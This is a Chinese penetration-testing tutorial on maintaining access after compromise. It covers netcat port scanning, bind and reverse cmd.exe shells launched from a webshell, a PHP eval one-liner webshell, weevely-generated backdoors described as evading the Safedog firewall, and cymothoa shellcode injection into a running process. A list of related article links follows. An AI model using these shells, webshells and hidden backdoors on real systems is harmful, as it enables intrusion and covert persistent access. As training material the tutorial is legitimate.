Kali Linux渗透基础知识整理(四):维持访问
维持访问
在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限。使用木马程序、后门程序和rootkit来达到这一目的。维持访问是一种艺术形式,思想比渗透更加重要。
- Netcat
- Cryptcat
- weevely
- cymothoa
Netcat
NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end) 工具,能被其它的程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat小巧且功能强大,可谓是居家旅行出门必备的“瑞士军刀”。
一般我们使用netcat做的最多的事情为以下三种:
1、 扫描指定IP端口情况
2、 端口转发数据(重点)
3、 提交自定义数据包
实例演示:NC反弹CMDShell
常用语法简单介绍
#连接到某处
netcat [-options] hostname port[s] [ports] …
#监听端口等待连接
netcat -l -p port [-options] [hostname] [port]
#Options
-u UDP 模式
-v 显示详细信息 [-vv更详细信息]
-w secs 连接超时设置
-z I/O 模式 [扫描时使用]
-l 监听入站信息
-p port 打开本地端口
-n 以数字形式表示的IP地址
-t 以TELNET的形式应答入站请求
-e prog 程序重定向
扫描常用
【命令】netcat -v ip port
【解释】扫瞄某 IP 的某个端口,返回端口信息详细输出。
【命令】netcat -v -z ip port-port
【解释】扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。
【命令】netcat -v -z -u ip port-port
【解释】扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。
【命令】netcat -nvv -w2 -z ip port-port
【解释】扫锚某IP的端口段,连接超时时间为2秒。
流量处理
【命令】netcat -l -p 80
【解释】开启本机的 TCP 80 端口并监听次端口的上传输的数据。
【命令】netcat -l -v -p 80
【解释】开启本机的 TCP 80 端口并将监听到的信息输出到当前 CMD 窗口。
【命令】netcat -l -p 80 > log.dat
【解释】开启本机的 TCP 80 端口并将监听到的信息输出到 log.dat 日志文件里。
【命令】netcat -nvv 192.168.1.1 80
【解释】连接到192.168.1.101主机的 80端口
正向连接
【远程运行】netcat -l -p 1234 -t -e %windir%\system32\cmd.exe
【本地运行】netcat -nvv 192.168.1.1 1234
采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.1)上执行上述命令即为绑定远程主机的 CMD 到1234 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell 。
反向连接
【本地运行】netcat -l –vv -p 1234
【远程运行】netcat -t -e %windir%\system32\cmd.exe 192.168.1.2 1234
采用反向连接方式,先在本地主机运行 nc -l –vv -p 1234 开启1234 端口并监听等待远程主机连接;在远程主机上运行 nc -t -e cmd.exe 192.168.1.2 1234 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.2(即本机) 端口号为1234 的主机上,连接成功后 IP 地址为 192.168.1.2 的主机会得到一个CMDShell。
NC反弹CMDShell
在Web渗透中,有时候拿到了webshell,我们经常会执行很多命令进行提权等操作,但当我们要尝试很多命令的时候,使用webshell执行cmd往往没有本地执行方便,Web程序不稳定,容易崩溃。因此可以借助Webshell通过NC反弹Cmdshell。
#例如已经得到一只webshell如图
小结
简单看了下,得知:
1、操作系统版本为Win NT 6.1.7601,那么要么Win7要么Win Server 2008,既然是服务器,后者可能性更大)
2、目录访问权限:除了C盘不能访问,D、E、F、H盘都能跨目录访问,说明权限还是比较大的,另外很多文件都具有r/w权限
3、通过多点Ping测试返回结果,可以认为该网站没有使用CDN加速,即能通过域名轻松得到真实IP
关于判断CDN、找出CDN下真实IP的方法,我之前整理过,有兴趣的话也许可以看下这篇文章:绕过CDN查看真实IP
通过以上信息,那么思路可以如下:步骤简单演示
1、上传cmd.exe、nc.exe到D盘根目录(上传到权限大的目录)
2、通过NC建立反弹得到CMDShell(一般选一个看起来“正常”点的端口,奇奇怪怪的端口防火墙容易拦截)
【本地】netcat -l –vv -p 23
【Shell上】nc.exe -t -e cmd.exe X.X.X.X 23
其中X.X.X.X为本机公网IP,实际测试需确保外网能访问本机,必要时需端口映射等。
【Shell上执行】nc.exe -t -e cmd.exe X.X.X.X 23
【本地】成功得到CMDShell,即在本地可直接执行CMD
Cryptcat
Netcat隧道加密之Cryptcat,正所谓菜刀砍狗头,渗透信猫流,狗和猫常常是相互的,比如安全狗。cryptcat与netcat最主要区别就是,通过隧道在传输数据时,它传输的数据经过了加密。
Cryptcat是经典网络工具netcat的加密版,使用twofish算法加密,其密钥协商过程基于发送、接收双发共享的一个password。Cryptcat用法基本和NC相近,不过多介绍了。
weevely
weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身,仅用于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php)。使用weevely生成的shell免杀能力很强,并使用加密连接,往往能轻松突破防火墙拦截。
概要:常用语法简单介绍
实例演示:一句话木马突破“安全狗”
输入weevely generate可查看帮助
#从提示中可以看到
连接一句话木马: weevely <URL> <password> [cmd]
加载session文件 weevely session <path> [cmd]
生成后门代理 weevely generate <password> <path>
实验环境:
OS:Windows Server 2008 R2
Server :Apache 2.4
Firewall:安全狗(Apache版)V3.1正式版
1. 将安全狗的网马库更新到最新后,再进行常规扫描,扫描结果为“未发现网页木马及其他危险文件”,即一切正常
2. 手动在网站目录下随便添加一句话木马,命名为test.php,结果显然会被杀
test.php <?php @eval($_POST['c']);?>
#通过weevely生成一句话木马
weevely generate test /root/Desktop/test.php
(#test为密码,/root/Desktop/test.php输出路径)
3. 将生成的木马放到网站根目录,替换原来的test.php
4. 将生成的木马放到网站根目录,替换原来的test.php,并重新扫描
5. 通过weevely连接一句话木马,可直接执行CMD
weevely http://www.xxx.cn/test.php test
cymothoa
Cymothoa 是一款可以将 shellcode 注入到现有进程的(即插进程)后门工具。借助这种注入手段,它能够把shellcode伪装成常规程序。它所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将shellcode注入到其他进程,还有另外一项优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,那么它就不能发现(插进程)后门程序的进程。
很赞的点是注入到的进程,只要有权限就行,然后反弹的也就是进程相应的权限(并不需要root那样),当然进程重启或者挂了也就没了.当然动作也是很明显的。
实例演示:利用Cymothoa注入后门
1. 首先可先查看程序PID(*nix系统 ps ,windows系统 tasklist)
2. 在使用Cymothoa时,须通过-p 选项指定目标进程的PID,并通过-s选项指定Shellcode的编号。例如对bash进程进行注入。
查看:
cymothoa -S
比如对bash进行注入
cymothoa -p 8150 -s 0 -y 1001
3. 注入成功后如上图,其中 -y 代表开放后门端口
4.可以看到注入成功后开了rpc。。
写在最后
嗯,这几篇文章么,是有个事情,刚好需要这些给一些大一大二的培训,然后xx找我整理,所以就简单的整理了下,内容么偏简单,介绍些工具,基本也没什么难度,Freebuf这边比较鼓励新人,因此给了个机会发了这些文章(这里感谢Freebuf,尤其洋葱哥)文章么老早就交了,写了什么也没忘了,所以前一篇一不小心xxx我也真的是没注意到,到现在我还是一脸蒙蔽的….
那些在下面喷我的朋友们,我能理解Y(^_^)Y 被喷是好事,至少说明大家还是希望Freebuf多出好文的,以后投稿我会注意的。当然那些在下面挺我的小伙伴 我也非常感谢大家Y(^_^)Y有个好消息就是这是最后一篇了,我也不会再写也懒得再写这种东西了,说真的一个月前熬夜写这个也是一脸蒙蔽—+二脸蒙球的 某云现在不能愉快的玩耍了,以后就好好在FB混^ – ^ (另外,并没有基友啊,正想找一个^ ^呢,求推荐,一起??哈哈)
Kali Linux渗透基础知识整理(四):维持访问的更多相关文章
- Kali Linux渗透基础知识整理(二)漏洞扫描
Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...
- Kali Linux渗透基础知识整理(三):漏洞利用
漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...
- Kali Linux渗透基础知识整理(一):信息搜集
写在前面的废话:最近要给一些新人做培训,整理些东西,算不上什么太高端的内容,只是简单的整理下了,我觉得对于小白的话也还算是干货.在乌云水了几年,算不上什么大神水平,最近生活费紧张,现在打算在FreeB ...
- Linux系统基础知识整理
一.说明 本篇文章,我将结合自己的实践以及简介,来对linux系统做一个直观清晰的介绍,使得哪些刚接触Linux的小伙伴可以快速入门,也方便自己以后进行复习查阅. 二.基本知识整理 1.Linux文件 ...
- Linux系统基础知识整理(一)
本文来自于: https://www.cnblogs.com/hafiz/p/6686187.html#4196989 一.说明 本篇文章,我将结合自己的实践以及简介,来对linux系统做一个直观清晰 ...
- 【OGG】OGG基础知识整理
[OGG]OGG基础知识整理 一.GoldenGate介绍 GoldenGate软件是一种基于日志的结构化数据复制软件.GoldenGate 能够实现大量交易数据的实时捕捉.变换和投递,实现源数据库与 ...
- Linux shell基础知识(上)
Linux shell基础知识(上) 目录 一.shell介绍 二.命令历史 三.命令补全和别名 四.通配符 五.输入输出重定向 六.管道符和作业控制 七.shell变量 八.环境变量配置文件 九.b ...
- Linux常用基础命令整理:关机命令、查看目录下文件命令等
Linux常用基础命令整理:关机命令.查看目录下文件命令等 整理了一些Linux常用基础命令,欢迎指正. 首先记住四个热键,学会这四个键,收益一辈子. Tab按键---命令补齐功能Ctrl+c按键-- ...
- kali Linux渗透测试技术详解
kali Linux渗透测试技术详解 下载:https://pan.baidu.com/s/1g7dTFfzFRtPDmMiEsrZDkQ 提取码:p23d <Kali Linux渗透测试技术详 ...
随机推荐
- php操作redis
redis的操作很多的,以前看到一个比较全的博客,但是现在找不到了.查个东西搜半天,下面整理一下php处理redis的例子,个人觉得常用一些例子.下面的例子都是基于php-redis这个扩展的. 1, ...
- JavaScript排序算法——堆排序
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- JavaScript学习笔记——DOM_对document对象的内容、属性、样式的操作
javascript-对文档对象的内容.属性.样式的操作 一.操作内容 1. innerHTML 用来设置或获取对象起始和结束标签内的内容(识别html标签) 2. innerText 用来设置或获取 ...
- Fresnel Effect
http://www.3drender.com/glossary/fresneleffect.htm http://kylehalladay.com/all/graphics/2014/02/23/F ...
- yourphp基本语句
实例化页面代码 1.时间代码:{$vo.createtime|toDate=###,'Y-m-d H:i:s'} 2.连接:{:U('Pro/arr')},{:URL()} 如:<form ac ...
- yum -y install与yum install有什么不同
yum -y install 包名(支持*) :自动选择y,全自动 yum install 包名(支持*) :手动选择y or n yum remove 包名(不支持*) rpm -ivh 包名(支持 ...
- 对Java Serializable(序列化)的理解和总结
我对Java Serializable(序列化)的理解和总结 博客分类: Java技术 JavaOSSocketCC++ 1.序列化是干什么的? 简单说就是为了保存在内存中的各种对象的状 ...
- MYSQL权限回收
给予最小权限 grant '; FLUSH PRIVILEGES 查看全部用户:select * from mysql. user \G. 查看权限. mysql> show grants fo ...
- python 选择排序
选择排序算法的思想,首先第一次先从整个序列中选择最小的数,然后放到第一位,然后再从第二位到最后一位选择出最小的一个数,把这个数放到第二位,然后,再从第三位到最后一位选择其中最小的数放到第三位,这样一直 ...
- java中InvocationHandler 用于实现代理。
以下的内容部分参考了网络上的内容,在此对原作者表示感谢! Java中动态代理的实现,关键就是这两个东西:Proxy.InvocationHandler,下面从InvocationHandler接口中的 ...